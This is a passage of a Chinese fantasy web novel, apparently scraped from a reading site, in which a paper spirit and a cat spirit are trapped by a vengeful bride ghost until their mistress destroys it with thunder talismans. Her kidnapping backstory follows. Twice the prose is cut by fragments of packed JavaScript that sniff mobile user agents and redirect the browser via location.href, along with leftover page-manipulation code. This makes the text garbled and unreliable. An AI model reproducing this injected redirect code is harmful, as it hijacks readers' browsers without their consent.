马素莲悄悄勾唇,接话道:“你是妖?” 事已至此,束宁点头道:“你们说话太吵了。” 言下之意,别聊了。 然而杨万宁似乎对束宁的桃树妖身份来了兴致,一连问了好几个问题,诸如你真的是妖?何时成的妖?叫什么名字之类。 束宁皱眉,一挥袖子,漫天桃花飞舞。 他直接将杨万宁送出了院子,将他放到大街上去了。 院子里又只剩下他和小姐了,他忽觉方才行为不妥,见桃花树还在抖,立即转移话题:“小姐,这桃花印究竟是什么?” 马素莲笑着摇了摇头,道:“回去吧。” 束宁就这样一头雾水地跟着回了家。 桃花树、杨万宁和朱掌柜自此消失在了束宁的生活中。 直到几年以后,他才从吱大人口中听说了这个故事的后续。 朱掌柜摔晕之后病重,鬼门关上盘桓了数日,忽然有一天醒了过来,不用吃药便痊愈了,而他的少东家杨万宁,据整个金玉楼的人说,金玉楼从来都没有这个人,让一众见过杨万宁的人都起了一层鸡皮疙瘩,感觉白日里见了鬼。 吱大人信誓旦旦道:“杨万宁就是那株桃花树啊,我还与他交了朋友呢,绝不会错的。” 说自己是桃树妖的束宁:…… 怪不得杨万宁是那般态度。 也是那日,他才知道事情的来龙去脉,原来杨万宁这个桃树妖是当年一个叫杨万宁的书生种下的,并给桃树赠了自己的名字,只希望它将来长成可以庇护这个院子里的人。 朱掌柜在一次外出时沾染上了鬼气,鬼气日益深重,等回到金玉楼时就已经鬼气入骨,立马就要死掉了。杨万宁不得已,以桃花印收取朱掌柜身上的鬼气,但他刚化形不久,只能连生气一同收取。 若当时马素莲和束宁二人没有出手,他是打算将鬼气转移之后再将生气还回去。 那日马素莲将桃花印还回时,她就已经知晓了来龙去脉。 而束宁,回去时满脑子都是小姐和杨万宁说话时的画面,根本无心其他。 也是这一次之后,束宁忽然动了心思,想去看看马夫人口中那两家为小姐选的夫婿,自然也将这事抛在了脑后。 风和日丽的一个春日,束宁身后跟着吱大人,两人悄悄去了第一户,方家村的那个秀才家。 12. 日丽 吱大人趴在束宁肩膀上,回头看了一眼后面:“你怎么想瞒着小姐来呀?” 束宁不语,只是一味赶路。 他不想告诉吱大人,他不光想瞒着小姐,还想瞒着它来着,但是刚出发就被它发现了,这才不得已带着它的。 至于为什么要瞒着小姐,他也有些说不清楚。 束宁为了观察去方家村一路的情形,特意没从字画里穿行。 这会儿看着乡下草木葳蕤、郁郁葱葱的景象,他开始觉得,以小姐清冷的性子,说不定会喜欢这一路的景观。 吱大人跟流浪的野猫问过路,他们很快就找到了方家村的秀才家。 束宁样貌扎眼,索性也变了只黑猫,跟在三花猫身边,三两下就上了秀才家的树。 秀才也姓方,这会儿正值上午,他坐在桌前读书。 安静读书的神态与小姐端坐在桌案前的神态很有些相似。 束宁看得出来,方秀才并不是在装着读书,而是真的心神沉浸其中了,连他母亲的呼唤声都没听见。 样貌生得也不错,眉眼端方齐整,气质沉稳温和,在凡人中也算得上翩翩公子了。 束宁假装舔了下爪子,心中暗道,就是看上去有点老实,不够灵气。 他的母亲年约五六十许,鬓发苍苍,穿戴也很朴素,头上只有一根素银钗。 她煮了一碗汤羹,端到了方秀才桌上,身后跟了个十六七的小丫鬟。 老妇人看上去很是和善慈祥,含笑站在桌边等了好一会儿了。 又轻轻叫了几声,方秀才终于听见了,从书卷里抬起头来,惊讶道:“娘,您什么时候来的,是不是又站了许久了?” 束宁心道,看来这事不是第一次发生了。 他的母亲笑着点了点他:“刚来,你早上起得早,我怕你早早饿了,叫春莺给你煮了碗桂花汤圆,你先垫垫。” 方秀才将他娘让到了座位上,自己端起碗,吹着热气,很快就喝完了。 老妇人道:“春莺,你去厨房看看今天中午吃什么,有没有鸡蛋烙饼,要是没有,吩咐他们做几张。” 春莺笑着应了。 她一走,老妇人就重重叹了一口气。 方秀才:“怎么了,娘?” 老妇人道:“我瞧见你姐姐那个未成婚的夫婿了。” 方秀才诧异:“他不是去修仙问道了吗?” 老妇人道:“是啊,前尘往事,早就该放下了才是。” 束宁竖起耳朵,吱大人挠他几下,见他没反应,自己溜了。 方秀才长什么样它已经看到了,也没什么稀奇的,凡人都长这个样。 自顾自留下一句:“我等会儿回来找你。” 三花猫就不见了踪影。 束宁没怎么听见吱大人的话,他的心神都集中在方秀才和他母亲的对话上了。 听起来这家尚有隐情,他得好好打探清楚。 万一……万一小姐选了这家呢。 方秀才也重重叹了一口气。 母子两个竟一时间都沉默了下来。 窗外鸟鸣清脆,窗内微风袭来,将桌上的书页吹得沙沙作响。 老妇人道:“当年你姐姐意外去世,我安葬她之后差点跟着她一道去了,后来还是我娘见我意志消沉,托人将你父亲介绍给我,我们才有了这番母子缘分。” 她说起这番往事,眼睛里仍是忍不住泛起水光。 “你从小就懂事,刻苦上学又孝敬长辈,外面人都说我对着你好,可其实,我心里是感激你的。” 方秀才揽了老母亲的背,轻轻拍了拍,安慰道:“您何苦这么伤怀,事情都过去了,姐姐在泉下也早该投胎转世,再世为人了。我之前去郡里赴试,曾在园华寺与住持聊过,他说早夭之人未及作孽便转世投胎,是有大福报的,姐姐定然也是。” 老妇人掉了几滴眼泪,道:“初云,这么多年来,我一直想在梦中见见你姐姐,可她从来都没有入过我的梦,如今她那个夫婿学道归来,想是有几分本事的,你替我去问问他,你姐姐在泉下怎么样了,我们烧给她的香烛她都收到了吗?为什么这么多年都不曾入过我的梦?” 方秀才道:“好,不知道姐姐那个夫婿住在哪?娘是在哪见到他的?” 老妇人道:“那日清明,他在你姐姐坟前烧纸,我等他走了才去的,你去他村里问一问吧,若是问不到,便当没有这回事了。” 方秀才安慰道:“好,您别伤心了,我这就去问。” 老妇人擦着泪,拦他道:“也不必这么急,已经十一年了,也不必急在这一会儿。” 方秀才笑道:“早去早回,省得娘一直牵挂着。” 他们又说了几句话,方秀才就从房间里出来了。 束宁站起身,不紧不慢地跟在方秀才身后。 听起来方秀才对待继母态度温和,不推诿不敷衍,说要去就去,似乎当真是个好人。 束宁只留了一丁点心思在方秀才身上,一大半心神都放在了猜测小姐的反应上。 小姐心地善良,虽然她自己才思敏捷、聪慧机敏,可也从来没有瞧不起不如她的人,反而很有耐心。 方秀才虽然看起来笨了一点,但是小姐肯定不会在意这个的。 相较之下,小姐更看重人的品行。 他记得有一次小姐带他入梦,曾遇见一个小偷偷了一对母女的钱袋,结果梦里被恶狼追着咬,小姐就根本没管,任由那个小偷被咬掉了半只耳朵的灵魂。 可若是遇上敦厚人遇难,就比如之前那些被送走的女孩儿们,小姐是必然会出手的。 思虑了半天,束宁都没发现方秀才有什么不好的地方。 可不知道为什么,他的眉头反而越皱越紧了。 凡人的脚程走得很慢,方秀才只是过了几个村,便已经快到晌午了。 他到了一个名叫宋家屯的村子,跟田里正在干活的老汉打听了几句,就找到了一户显得破败寥落的院子。 正值春天,别人家边上的花草都开得正好,看上去也更齐整,唯有这家,杂草丛生,篱笆也歪七扭八地倒了大片,连带着木头门也倒在地上。 方秀才还是站在门口喊了几声。 “宋大哥,宋大哥,你在家吗?” 他叫了好几声都没有人应答,还是旁边的邻居告诉他:“别喊了,人没在家。” 方秀才擦了擦头上的汗,过去问道:“嫂子,他是回来了是吧。” 妇人道:“回来了,回来好几天了,清明那天村里人都碰上他了,他给你继姐烧纸去了,整天早出晚归的,这会儿都不在家。” 方秀才问道:“嫂子你知道他去哪了吗?” 妇人摇了摇头:“这我真不知道,不过他父母都不在了,要不是念着你继姐,何苦再回来,我估计,可能还在你继姐坟上呢。” 方秀才谢过,便换了条路,去了他姐坟上。 束宁远远跟着,瞧了那坟一眼,见上面写着“亡妻崔璨娘之墓,夫宋直”,记下了坟的位置。 上面果然有不少鲜花,点着蜡烛,被人打理得很是干净。 但并没有人在。 方秀才无功而返。 束宁回头又瞧了那坟几眼,转身跟着方秀才走了。 他还要回去等吱大人。 果然,回去之后,方秀才的母亲就问他结果如何。 方秀才道:“他没在家,不过确实回来了,我去姐姐坟上看过,放了花,还燃了蜡烛,应该是今天早晨放的,今晚或是明早,我再去一趟。” 吱大人已经趴在之前那棵树上睡觉了。 束宁将它喊醒,本打算直接带着吱大人走字画,结果吱大人非要在草丛里扑蝴蝶,于是他们又一道走回去。 吱大人也不问束宁跟着那方秀才去做什么了,惆怅和迷惘都留给了束宁自己。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489802|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看着吱大人在花丛里快活的身影,忽然也重重叹了口气。 他觉得吱大人一团孩子气,可他却不知道,自己究竟“大人”在什么地方。 蝴蝶扑着扑着,他们就到了一处陌生之地。 吱大人一个没注意,差点掉到崖下去。 它心有余悸地跳到了束宁肩膀上,身上的毛有些炸开了,弓着背道:“这里不太对劲,我们快走吧。” 明明是风和日丽、太阳高照的天气,这里却充斥着一股阴森的鬼气。 束宁抱起吱大人,便要一步迈入最近的字画中,结果一脚出去,却没回到家,而是出现在了更深的林子里。 树木高大而茂盛,树冠和枝叶挡住了阳光。 风吹过来,一阵阴冷。 束宁将吱大人抱在怀里,又尝试了几次,但无一例外,都无法成功离开。 吱大人一只爪子勾着束宁的衣裳,一边低声嘶吼着。 束宁皱着眉,神情渐渐凝重起来。 这么强烈的阴冷之气,不是大妖,就是大鬼。 然而以他们两个的道行,已经身处其中了,却还发现不了对方的真身。 吱大人已经有些自责了:“我不应该扑蝴蝶的,束宁,一会儿我扑上去,你从树上面走。” 束宁将吱大人护在怀里,道:“别瞎想,还不知道对方是谁呢,说不定不是鬼,是只大妖。” 若是道行厉害的大鬼,必然怨气深重,性情偏执,讲不得理。 但若是大妖,都属妖类,还能说上几句话。 他们都道行太浅了——束宁自诞生到现在只有一十七年,吱大人稍大些,三十二年,但十年前才开了灵智。 对于惯常以千百年论道行的妖来说,他们都是小得不能再小的童稚期,碰上什么大妖都对付不了。 至于千奇百怪的恶鬼,更是难说。 吱大人道:“我想小姐了,你呢?” 都是小姐平日里把他们保护得太好了,它总是以为外面都是安全的,根本没想到只隔了几十里就有这么大的妖啊鬼啊。 吱大人打定主意,不管一会儿出现什么,它都不能害怕,要缠住那个东西,给束宁留出一点逃跑的时间来。 束宁低声道:“想。” 这次是他带着吱大人出来的,若是一会儿实在应付不了,怎么也要让吱大人先跑。 他担心吱大人犯倔,提前劝道:“我遁术失效,回去得不如你快,等会儿你逃出去,叫小姐回来救我。”见吱大人果然要反驳,低声道,“吱吱,小姐若是找到我们两个的尸体,会很难过的。” 三花猫漂亮的眼睛里蓄满了泪水。 它知道束宁说的是真话。 吹来的风越来越阴冷。 束宁与吱大人对视一眼,都明白了这林子究竟是大妖还是大鬼了。 果然,有一道雪白的身影骤然出现了两人头顶,幽幽问道:“你们见到我的嫁衣了吗?” 轻柔的女声令人毛骨悚然:“是一身大红色的嫁衣,我找不到了,你们见到了吗?” 这只白衣女鬼披散着头发,面容扭曲,已经看不出生前的样子了,硕大空洞的窟窿眼中有深黑色的痕迹,半边脸是白骨,半边脸是翻起的腐肉。 见两人都不答话,她好似十分生气,一阵狂风袭来,整个林子都传来一叠声地“我的嫁衣……我的嫁衣……”,像是有千百人同时絮语。 女鬼的头发被吹得凌乱至极,她空洞的眼睛中流出血泪,长长的黑色指甲飞速生长着,就要朝着束宁和吱大人飞扑上来时,束宁道:“我们没看见你的嫁衣。” 狂风的吸力让他几乎难以站立在原地,可想而知这只女鬼的怨气都多重。 他知道这么说必然无济于事,但尝试一下,说不定这女鬼还能交流呢? 见女鬼果然动作一顿,束宁毫不犹豫地将怀里的三花猫抛飞出去,叮嘱道:“快走!” 13. “咔嚓” 一团三花被抛向天空,阴沉冷寂的天幕劈出一道亮丽的弧线。 束宁发现女鬼眼珠转动,看向了吱吱,主动出声与她交谈:“你的嫁衣是什么样子的?” 鬼之怨气所生,执念所在,往往更为在意。 果然,听闻束宁此语,她将视线转回到眼前这个容貌出众的黑衣男子身上。 三花猫在半空中灵活地翻了个身,后腿一蹬,稳稳扒住了粗壮遒劲的树干。 它向后回头,最后看了与女鬼交谈的束宁一眼,眼中含泪,身影快速消失在了树冠之中。 束宁余光看到,悄悄松了口气。 女鬼身上的阴煞之气越来越重,在听到他的问题之后,她歪头思索片刻,脸上的腐肉随着她的动作掉落。 她缓缓道:“我的嫁衣是什么样子的……我的嫁衣……是世上最漂亮的嫁衣……世上最漂亮的嫁衣……” 女鬼陷入了回忆之中,周围的阴风和缓了一点。 似乎事有转机,束宁一边盯着女鬼,脚步缓缓后退。 待女鬼像要念完了,他立即又补上一句。 “你的嫁衣什么样子?” 女鬼又歪头重复起来。 …… 束宁已经退到了林子边缘,与女鬼相距二十米远。 一道竖直崎岖的崖壁矗立在身后,束宁咬破手指,黑色的“血迹”逸散出来,他没有回头,背对着崖壁快速在上面划了个“一”字。 趁女鬼注意力被吸引,他要再试一次遁术。 “鬼打墙”这类鬼物困人的手段,都需要女鬼故意使用,现在她沉浸在回忆之中,说不定趁此时机可以跑掉。 束宁手指戳在了字迹上,女鬼空洞的眼睛里没有任何反应。 修长的身影骤然化作一团浓雾,消失在了崖壁的字迹之中。 “轰隆”一声。 女鬼头顶轰然砸下一大堆树枝。 茂密沉重的枝叶在地上砸出一个微坑,被劈断的树枝摞出了比人还高的杂物。 也是在树枝落地的同一时刻。 束宁出现在了与树枝一指之隔的林中——他又一次回到了鬼打墙的最初位置。 女鬼从树枝中露出头来。 她脸上的腐肉一块块恢复,空洞的眼眶里生出一双红透的眼睛。 林子里的风静止了。 束宁肩上一沉。 三花猫束着尾巴,弓着身体在束宁身上走了几步。 十分英勇。 束宁看到眼前的树枝,被树枝淹没的女鬼,还有雄赳赳的三花猫,瞬间明白了所有。 他忍不住抚额,将三花猫捉起来藏进了怀里,藏起那抹不合时宜的感动,也藏住这只无畏勇敢的小猫。 三花猫挣扎,束宁低声道:“嘘,你看她。” 沉静的女鬼比张扬的时候更难以忽视,她周围的阴煞之气越发聚拢,白衣被染成了黑衣。 天空蓦然黑了下来,林子里的浓绿沾染上不详的黑。 一切虫鸣和鸟鸣都消失了。 束宁的后背蔓延上一股阴冷之气,他开始觉得浑身僵冷。 只有胸口三花猫的温热传来,暖融融的,驱散了一点寒意。 他抱着三花猫往后退,仍然试图与女鬼说话。 但此时女鬼不再有任何反应,只是拿那双红得瘆人的眼睛看着他,眼神里满是阴冷与怨毒。 束宁又一次退到了崖壁处。 他面上从容,心里却焦急无比,他想起之前在梦里见过小姐驱鬼的阵法图,那时惫懒,只斜着瞧了一眼,本来以他的记忆,是能够将那幅阵法图分毫不差地默出来的,但很可惜,他当时倚在亭子的栏杆上,只看到了大半,没有看全。 女鬼抬起手,手指干净白皙,丝毫看不出厉鬼的模样,然而她的眼神却比空洞时可怖百倍。 她阴冷道:“世上之人若非可恶,便是懦弱无能,都没有存在的必要。” 随即她一伸手,无数树枝疯狂生长,将束宁团团围住缠住。 束宁左右闪躲,三花猫也伸抓劈砍,然而都无济于事。 树枝缠上了束宁的脚腕、手臂、脖颈,将他吊在了半空中,狠狠向崖壁砸去。 三花猫被束宁紧紧抱在怀中,无数小纸人从树枝的缝隙中钻出来,将三花猫护在其中。 墨色四逸。 三花猫不停地伸爪,眼中又蓄满泪花。 有只小纸人跳在它眼角,捧住了掉下来的泪,无奈道:“你回来做什么,”小纸人笑道,“你是不是被我骗了,小姐不会找到我们两个的尸体,只有你的,我的本体还挂在小姐墙 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早上他离开时她便知道他去了哪,心中莞尔,便由得他去了。 然而看天色,也当回来了才是。 方家村有这样远吗? 这时,她眼皮忽然颤动几下,紧接着她手腕上便炸开了一道血花。 ——“太乙符”被触发了。 马素莲一手掐算,另一只手捏诀,转眼就消失在了房间中。 偏僻的林中崖壁上,一道黑色的短痕中迈出一位长发披肩、国色天香的女子,眼眸深邃宁静,气质冷若冰霜,她穿着一身嫩粉色的绸缎百花群,再娇小姐不过的打扮,却让女鬼心悸不已。 马素莲从束宁写的字中现身。 快速打量了一圈周围的景象,见到束宁奄奄一息的墨色身影,瞳孔一缩,伸手接住了他飘然下落的身体。 三花猫见她过来,“喵”一声飞扑到她肩上。 马素莲的目光从束宁苍白得近乎透明的脸上移到女鬼身上,声音平静地问道:“是你伤的他?” 14. 绿云 女鬼本能感受到了威胁,然而她怨气深重,仅仅是几息之后便恢复了怨毒的神情,林中的树木再次疯长起来,有如实质的阴气凝结成冰,向着马素莲几人的方向涌去。 在这样黑云压城、万箭齐发的紧迫关头,马素莲竟仍低头看了束宁一眼。 他面色苍白,旖丽得近乎锋锐的眉眼一片死寂般的沉默——太乙符可以抵挡最致命的一击,却无法免除所有的伤害,被大鬼全力一击,本该就此消散的,被救回了一条命,却也陷入了昏睡之中。 此时轻飘飘地如同一张真正的纸,毫无生机地躺在她手中,比她最初见到他时的状态还要差上许多。 像是快要死了。 无数枝条疯狗一般袭来,马素莲平静地咬破手指,凌空画符。 枝条直,符成。 顿时光芒大亮。 阴气如潮水般散去,女鬼惨叫一声,不断叫着:“天下人都没有好东西,你们都该去死!都该去死!” 马素莲懒得听她这般刻板重复的无聊之语。 凡为鬼,必有执。 执从冤中来者,百有九十。 若放在平日,她大约也能耐住性子,听一听这些鬼的冤屈,有冤报冤,有仇报仇,再念一遍往生咒,送他们最后一程。 这样完美的超度流程,她遵从师命,已经不知道做了几百遍了。 可这只鬼,换做谁来都不会有此番待遇。 她必要叫其立死当场。 阴气被炙烤之时,厉鬼所受之痛苦如十八层地狱,马素莲充耳不闻,咬破舌尖,手指蘸取几分,凌空一道五雷符。 亮如白昼的粗厉天雷在空中咆哮一番,如同一条飞腾的蛟龙,蕴酿片刻后,疾冲而下,直奔女鬼。 女鬼的惨叫声被掩盖在了天雷的轰隆声下。 待电光散去,女鬼所在之地一片焦黑。 片刻后,却伸出一只男人的手,焦黑的手掌上依稀可见裸露的白骨。 三花猫从小姐肩上抬起头来,疑惑地“咦”了一声。 这个男子是谁? 男人从地上踉跄爬起来,身上俱是焦黑的腐肉,脸上尤为可怖,露出了半边齿骨。 他苦笑一声,刚想说些什么,他身后焦黑土地上,女鬼从里面爬出来,怨气未消,抬手就将他悲伤划出一片血痕。 “让开。” 男子握住了她的手,转身对着马素莲道:“她是我的妻子绿云,今日她所作所为皆是我看管不力,雷罚已受,纵有错处,也饶了她吧。” 见马素莲漆黑幽深的眼睛静静看向他,男子苦笑一声,叹了口气,道:“我早算道会有这一日,没想到是今天,姑娘是高人,生杀予夺只在片刻,不妨听听绿云的故事,再作决定不迟。” 这人被雷劈成这样,不叫痛,不发作,反而一直紧紧钳制住女鬼绿云的手腕,颇有几分情深意重的意味。 女鬼为天下至阴的邪祟之物,被天雷劈后没有直接消散,可见是男子将大部分天雷的威力都扛下了,又为情深之佐证。 这般表现,不得不叫人相信他们夫妻的苦衷。 然而马素莲抱着束宁,并不想听他们的悲惨故事。 “她今日杀人是首例吗?生前受苦,死后便可以为所欲为了,是吗?” “不,当然不是。”男子沉默片刻,道:“世间公平正义焉存,到头来都是全凭各人而已。绿云与你有怨,你动手也是应当,但我于她有义,站在我的立场上,也只能与你动手了。” “虚伪。” 马素莲舌尖血尚未止住,这会儿再取也是方便,她指尖一抿,又一道天雷滚滚劈下。 男子拽住绿云的手,将她庇护在身后,同时手中现出一只阴阳罗盘,随着他的动作,罗盘旋转,此地天地乾坤倒转,本应落在他们身上的天雷,奇异地调转了方向,向着马素莲劈去。 马素莲眼神一凝,长剑现出,凌空闪现直罗盘之上,在天雷劈下的瞬间将罗盘劈了个粉碎,电蛇斗转,结结实实砸回了男子和绿云身上。 巨大的电光发出哧然的声响,一瞬间万籁俱寂,风停气歇。 马素莲的头发落回肩上,拂过束宁的脸颊。 片刻后,天雷消散,这片阴森幽深的树林被劈了个焦黑。 树冠消失,傍晚的霞光一缕缕挥洒进来。 天光将暗,却是个晴天。 树林的地面上,累累白骨半埋着,毫无征兆地沐浴到了多年未见的天光。 马素莲走到男子与绿云面前,垂眸看着他们。 男子身体只剩了骨架,绿云奄奄一息,周身怨气消散,她反倒多出了几分神智。 此时看着两人交握的手,不禁叹息一声:“郎君又是何苦。” 马素莲的剑悬在半空,锋利的刃闪过一丝亮光。 绿云看了眼被马素莲抱在怀里的郎君,修长的身影毫无生机地躺在姑娘怀里,露出的一角下颌弧度完美精致,想来应当是个俊俏至极的郎君,却被她害得差点没了命。 还有这满地的白骨。 绿云眼中含泪,对马素莲和束宁道了一声对不起。 “我本是个绣娘,昼夜不停绣了三年自己的嫁衣,那真是一身漂亮的嫁衣,但大约是太过漂亮了,有人要买,我没有同意,结果出嫁当日,半道里被剥了嫁衣扔在地上,遭了野狗撕咬,我一时想不开,便跳了崖。” 绿云看着男子没有声息的尸骨,手指轻轻抚着他的手骨,道:“他是我的夫婿,当时等不到我,后来得了噩耗,便不知去哪学了一身道法,开始时只为了困住我,不让我从这林子里出去害人,但他回来时就已经晚了,后来错上加错,结果让我害了这么多人,实在糊涂。” 她变成厉鬼时思绪都被执念所裹挟,杀过什么人,怎么杀的,脑海中竟只有几个走马灯似的画面。 但只画面也足够骇人了。 有人只是路过,便被本该困住她的阵法传送到了林中,百般求饶,也抵不过她心中的恶念,轻易就将人撕得粉碎了。 “我作的孽太多,万幸今日姑娘将我正法。” 她白骨一样的身份往下盈盈一拜,道:“虽已徒劳,但杀人并非我本意,待这位郎君醒来,请代我说声对不起。至于这些人,我去了黄泉,会请求阎王让我赎罪。” “幽幽风来,多少罪孽因果,不如付诸风去~” 女子以唱腔轻吟一句,一阵风来,她的白骨便夹缠着男子的白骨,一道随风了去了。 空荡的林间,一弯冷月高悬天际。 马素莲抱着束宁,转身朝崖壁走去。 三花猫沉默地趴在小姐肩头。 快要迈进时,它回头望了一眼那些地上的白骨,仿佛看到零零散散几十人,衣着各异,站在那边的空地上,眼中含笑,朝他们遥遥一拜,躬身送别。 三花猫揉了揉眼睛,再度看去,那些人又都不见了。 微风吹过,唯有冷月依旧。 下一刻,马素莲迈进了那道短横。 他们回到了熟悉而温馨的房间,如同回到了往日最平常的一个夜晚。 唯有一人沉眠。 *** 束宁昏睡了整整三天。 他从昏沉的睡梦中醒来,刚一睁眼就看到了坐在桌案后的小姐。 整个房间里铺满了笔墨纸张,无数文气朝他的身体中涌来,他刚一醒来就觉得神清气爽。 然而他抬眼看着头顶的帐子,忽然意识到自己睡在小姐床上。 墨香之外,又有一股幽香若有似无地缠绕在身周,束宁一阵耳热,心底涌现出一股说不清道不明的隐秘欢喜,使他在三花猫伸头探来的一瞬间,忽然柔弱起来。 三花猫的脸倒映在他头顶,眼睛眨巴眨巴,再三确认,忽然“喵”了一声,跳到了他胸口。 束宁当即胸口一沉。 下一刻,小姐走过来,坐在了床边。 小姐总是面色平静,然而相处久了,束宁还是从小姐过来的速度里察觉到了她的关心和急切,不由得安慰道:“小姐,我没事。” 他的脸色确实恢复了不少,白皙俊秀的面容上病气已去,眼睛里亮晶晶的,藏着几分笑意。 “开心什么?” 束宁问道:“小姐来救我了是不是,可惜我没见到小姐的绝世风姿。” 很有些遗憾的意味。 三花猫白了他一眼,道:“小姐确实绝世风姿,到了那里,两道符就把厉鬼和她丈夫劈得粉身碎骨了,只不过你太妨碍小姐发挥了,小姐还要腾出手抱你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489804|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 束宁听得一愣,随即脸色一红:“小姐抱着我杀鬼的吗?我以为晕了之后会变成纸身。” 三花猫想起当时束宁晕了的场景,损他的话一时没有说出口,只舔了舔爪子。 束宁只从这停顿中便察觉到了小猫的心思,一把将三花猫捞过来,道:“你是不是很担心我?对了,那女鬼怎么还有丈夫,也是鬼吗?” 三花猫不好意思回答第一个问题,直接答第二个:“是半个,小姐说,开始时你遁术失效,就是因为他设了乾坤颠倒阵,是个困阵,任何人进到阵法范围内都出不去。” 束宁其实不太关心那女鬼的丈夫,他呼噜了两把三花猫的脑袋,支起身子,微微仰头看着小姐,问道:“小姐是不是也很担心我?” 马素莲看了他一眼,没有回答,而是问道:“你做梦了?” 束宁有一点点失落,像微风吹过池水,一池涟漪。 但他很快想起了梦中的画面,笑道:“我梦到了小姐小时候,我被送到小姐身边以前的事。” 束宁被老道士送到小姐身边时,她只有五岁。 是个粉雕玉琢的小姑娘,同现在一样,眼眸漆黑,不爱说话。 只是那时候,小姐一出口便似世上最锐利的刃,直要把人心口刺出血来才肯罢休。 他一直很好奇小姐五岁以前的事。 可老道士没有多少文采,将他养得很差,懵懂愚昧,似是没开智的野人。 他也不在小姐身边,即便开了智也无从知晓。 可他仍是好奇,他对小姐的一切都感到好奇。 小姐总是讳莫如深,他疑心小姐小时候也同他一般,是个什么都不懂的小童,大约也做了许多大人眼中啼笑皆非的事,所以才不好意思说吧。 “我梦见小姐和我一起捉蚯蚓,雨后时分,沾了满身的泥,小姐不想让夫人知道,所以假装被邻居小孩儿欺负了,从他手里哄了半个月的糖葫芦。” 小姐勾唇:“是个好梦。” 她转身离开:“既然无事了,便从我的床上下来吧,这些手稿归你整理,我要出门一趟。” 束宁一怔:“小姐去哪?” 三花猫道:“你昏迷时老道士传了飞讯过来,叫小姐去天都观找他。” “天都观,那小姐岂不是要去一个月?” 三花猫:“往年小姐不是都去吗?算起来,今年也到时候了,不知道今年小姐还会不会经过山君的住处,好想也去山君那里做客,喵。” 束宁见小姐进了内室梳洗,他一时情急,倚在了门口,道:“小姐去年答应我的,今年要带我一起去。” 小姐不应,他又劝道:“老道士知道我的,天都观不禁妖,小姐路上闷了,我可以给小姐讲故事听,还可以给小姐铺床叠衣裳。” 他声音低低的:“带我去吧小姐。” 三花猫比划了自己的身量和束宁的身量,不解道:“束宁,你今年怎么这样黏小姐,我记得我们三年前就不缠着小姐去天都观了,你怎么又这么想去了?” 束宁也解释不出。 他也不想解释,只倚在门外历数带上自己的好处。 过了会儿,小姐从内室出来,见他没骨头一样倚在门框上,低着头看她,神色里满是落寞。 她笑了笑:“很想去?” 束宁小鸡啄米似的点头。 小姐道:“你的伤好全了吗?” 束宁:“没有伤,那个厉鬼没有伤到我。” 小姐道:“既然如此,带上你也不是不行。但那女鬼伤你,我心中不快,觉得让她死得太轻易了些,这样,你去找到她的家人,我想见到她全部家人的头颅。” 束宁已经听得呆住了。 然而小姐深黑的眼眸里一片认真,他无法不相信。 小姐道:“我三日后出发,若你能做到此事,我便带你去天都观。” 束宁勉强笑道:“小姐是在说笑吧,你最是心善不过,怎么用这个考验我,万一我真的信了怎么办?” 然而小姐没有笑。 束宁勉强的笑意消失了。 “小姐是认真的?” 马素莲对他点头,眼神里是冷漠的残忍。 “砍下他们的头颅,或者不跟随我。” 15. 素莲 马素莲三岁时,还不叫马素莲。 她叫文婉,家住京城平宁巷,父亲是国子监祭酒,大伯父是大理寺卿,二伯父是江南道御史,祖父官致丞相,曾祖父荣封侯爵,满门显贵。 文婉三岁时正值上元节灯会,她被奶娘牵着手看街头卖艺人耍猴,身后还有一众仆从跟随。 就是在这么多人的眼皮子底下,她被人贩子从奶娘手里抢走了。 一双粗糙有力的大手将她的手狠狠扯开,小小的文婉已经十分机敏,当即就扯开喉咙喊了一声“奶娘”,然而换来的并不是仆从们的注意,而是人贩子那双凶恶冷漠的眼神和捂住她嘴巴的手。 一个上元佳节,人贩子也过了个好节,满载而归——如她一般大的女孩子,人贩子便拐了五个,另外还有三个男孩。 他们被关在一间废旧的柴房里,一天只有一顿饭不说,饭里还放了蒙汗药,不吃便饿得胃里空燎燎的,吃了便每天昏沉欲睡,几乎没有清醒的时候。 文婉昏了一天有余,第二天便饿着肚子听周围的声音。 柴房门上有锁,屋外每刻都有两三人把守。 她试着放开嗓子喊,人贩子们从容不惧,只嫌弃她烦躁惹人生厌,避开她的脸狠狠抽她的背。鞭子落在背上,是比饥饿更难忍受的滋味。 她生生忍受了,心里想到,既然人贩子不怕他们的喊声被人听到,便说明这里人烟罕至,十分荒僻,平日里没有人来。 她观察着人贩子放饭的时机和轮换的人手。 又过了两日,又有几个人贩子出去掳人,门口看守的人只剩了两个。 一个膀大腰圆的中年妇人,放饭都是她来分;一个爱喝酒醉熏熏的中年汉子,也是掳她的那个男人,平常就守在门外,连睡觉都在门口铺个席子。 她鼓动了几个胆子稍大些的孩子,趁妇人进来分饭低头时,拿捆住他们的绳子勒住了妇人的脖子,文婉夺过木勺,狠狠敲在妇人头上。 人小,每天都饿得脚底打飘,木勺的威力不够,妇人挣脱了背上的一个孩子,瞪眼看着他们大喊:“反了你们了!”一边大喊外头的男人。 妇人凶恶狠毒,并不惧怕这几个小孩子,又扯开了后面的小孩,把他狠狠摔在了地上,又要来夺文婉手里的木勺。 文婉看着妇人凶恶的眼神,心中生出一股戾气,她调转了木勺的方向,借着妇人冲过来的势头,将勺柄戳进了妇人的喉咙。 鲜血“滋啦”乱流,里面的小孩子都没见过这等阵仗,有人当即就吓尿了。 但那几个主动帮忙的孩子反而被催发出了血性。 